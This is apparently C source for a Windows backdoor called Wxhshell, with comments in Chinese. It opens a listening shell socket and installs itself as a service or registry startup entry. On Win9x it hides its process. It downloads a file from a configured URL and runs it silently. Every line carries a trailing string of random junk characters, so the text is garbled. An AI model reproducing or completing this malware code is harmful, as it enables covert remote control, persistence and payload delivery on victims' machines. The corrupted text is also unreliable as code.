DWORD AffinityMask; Wa2V Z
DWORD BasePriority; e1[kgp
ULONG UniqueProcessId; qdAz3iye
ULONG InheritedFromUniqueProcessId; lh(A=hn"n
} PROCESS_BASIC_INFORMATION; vJtQ&,zG
qV/"30,K
PROCNTQSIP NtQueryInformationProcess; nm*1JA.:
7V 2%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =uKK{\+|Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RRV@nDf
vF]?i
HANDLE hProcess; TJ?}5h5
PROCESS_BASIC_INFORMATION pbi; w^A8ZT0^7
[LjYLm%<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
nUs)
if(NULL == hInst ) return 0; [B+o4+K3
+ulX(u(,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U%t:]6d&}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v$+G_ @
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9P{5bG0o8
L)y }
if (!NtQueryInformationProcess) return 0; SKD!V6S
N95"dNZE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D7sw;{ns
if(!hProcess) return 0; O|4~$7
^}U{O A
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1YAy\F~`.
Z!wDh_
CloseHandle(hProcess); :}+U?8/"7
j9y,UT
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E+JGqk
if(hProcess==NULL) return 0; Y0&w;P
^%IKlj-E
HMODULE hMod; qf4|!UR{
char procName[255]; ,y:q]PR
unsigned long cbNeeded; }b)?o@9}:
Pkc4=i,`A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]9R?2{"K
K~x G+Kh
CloseHandle(hProcess); $`{}4,5M
$v-lG(
if(strstr(procName,"services")) return 1; // 以服务启动 gA" =so
(0Hhn2JA
return 0; // 注册表启动 z<: 9,wtbP
} [M FV:Z
P@k
;Lg"
// 主模块 *Ty>-aS1
int StartWxhshell(LPSTR lpCmdLine) w?oIKj
{ IW6;ZDP
SOCKET wsl; *`|.:'
BOOL val=TRUE; cM C1|3
int port=0; @<>](4D
struct sockaddr_in door; *M"lUw#(f
C
[=/40D
if(wscfg.ws_autoins) Install(); fCx~K' UWn
8eWb{nuJ>
port=atoi(lpCmdLine); r[EN`AxDb
H{p+gj^J
if(port<=0) port=wscfg.ws_port; *5*d8;@>
BIw9@.99B-
WSADATA data; ^~=o?VtBg
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "W\
#d
{BJ[h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dRWp/3 }
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bi?.G7>
door.sin_family = AF_INET; _4[kg)#+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &&_W,id`
door.sin_port = htons(port); EBK\.[
R0oP##]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @>X."QbE
closesocket(wsl); &EA4`p
return 1; )oAK)e
} pf] sL/g
FjkE^o>
if(listen(wsl,2) == INVALID_SOCKET) { >"zSW?
closesocket(wsl); 1ub03$pL;
return 1; jUW{Z@{U
} ME0ivr*=:
Wxhshell(wsl); o] )qv~o)
WSACleanup(); f\^FUJy
MJ}VNv|S
return 0; NBUM* Z
k9yA#
} >qcir~ &
:t\PYDp1
// 以NT服务方式启动 k\HRG@
/G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hb`bQ
{ 7Py8!
DWORD status = 0; XK(<N<Z@|e
DWORD specificError = 0xfffffff; - bFz
ZVK;m1?'
serviceStatus.dwServiceType = SERVICE_WIN32; {U-VInu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j&Z:|WniK
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i>b^n+74>
serviceStatus.dwWin32ExitCode = 0;
k"GW3E;
serviceStatus.dwServiceSpecificExitCode = 0; )WKe,:C
serviceStatus.dwCheckPoint = 0; i&"I/!3Q@
serviceStatus.dwWaitHint = 0; oBAD4qK
A/BL{ U}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z^h'&c#
if (hServiceStatusHandle==0) return; '3%!Gi!g
P`V#Wj4\
status = GetLastError(); I-fs*yzj;8
if (status!=NO_ERROR) zx;x@";p
{ d:<{!}BR3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~w4aA<2Uq
serviceStatus.dwCheckPoint = 0; 9at7$Nq
serviceStatus.dwWaitHint = 0; . +.Y`0
serviceStatus.dwWin32ExitCode = status; N:"E%:wSbi
serviceStatus.dwServiceSpecificExitCode = specificError; Yx
XDRb\kW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); F?5kl/("
return; Z#"6&kv
} HZfcLDrO
YBHmd
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]2K>#sn-]
serviceStatus.dwCheckPoint = 0; `,\WhJ?9
serviceStatus.dwWaitHint = 0; p]=8=pE<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9dy"Y~c
} N \A)P
KWN0$*4
// 处理NT服务事件,比如:启动、停止 @36^4E>h
VOID WINAPI NTServiceHandler(DWORD fdwControl) PJh\U1Z
{ I?l*GO+pz
switch(fdwControl) F}i rCi47c
{ OO53U=NU
case SERVICE_CONTROL_STOP: o` ,&yq.
serviceStatus.dwWin32ExitCode = 0; f>Bcr9]]
serviceStatus.dwCurrentState = SERVICE_STOPPED; {*>$LlL
serviceStatus.dwCheckPoint = 0; YR~g&E#U^
serviceStatus.dwWaitHint = 0; %Cb8vYz~
{ :jB(!XH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); s+Ln>c'|o
} B>AIec\jG
return;
`^F'af
case SERVICE_CONTROL_PAUSE: *A
c~
serviceStatus.dwCurrentState = SERVICE_PAUSED; h/eKVRGs"
break; m!E36ce}
case SERVICE_CONTROL_CONTINUE: }_5z(7}3
serviceStatus.dwCurrentState = SERVICE_RUNNING; l|j&w[c[Q0
break; *R1x^t+)
case SERVICE_CONTROL_INTERROGATE: !>9*$E
|
break; *"j_3vAx
}; 8=)Aksu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P#rwYPww\
} q0DoR@
^x:4%%Q]l
// 标准应用程序主函数 B]Yj"LM)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >:Q:+R;3o
{ s( 2=E|
|~v($ c
// 获取操作系统版本 ~g>15b3
OsIsNt=GetOsVer(); 5
BcuLRId:
GetModuleFileName(NULL,ExeFile,MAX_PATH); Kq6m5A]z
2/?pI/W
// 从命令行安装 k=nfo-h
if(strpbrk(lpCmdLine,"iI")) Install(); >D<nfG<s Z
fB;'U
// 下载执行文件 5
MQRb?[
if(wscfg.ws_downexe) { JL;H :`x
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >i@gR
WinExec(wscfg.ws_filenam,SW_HIDE); k 2;m"F
} A 7DdU NR
l_^>spF
if(!OsIsNt) { Me5umA
// 如果时win9x,隐藏进程并且设置为注册表启动 Pgye{{
HideProc(); ;@v7AF6Hq
StartWxhshell(lpCmdLine); 8q_3*++D
} rYN`u
else G9Azd^3
if(StartFromService()) SuGlNp>#qm
// 以服务方式启动 a,&Kvh
StartServiceCtrlDispatcher(DispatchTable); 3S'V>:
else Q7c_;z_
// 普通方式启动 jCKRoao
StartWxhshell(lpCmdLine); CdTmL{Y1
%k$+t
return 0; h/-7;Csv
}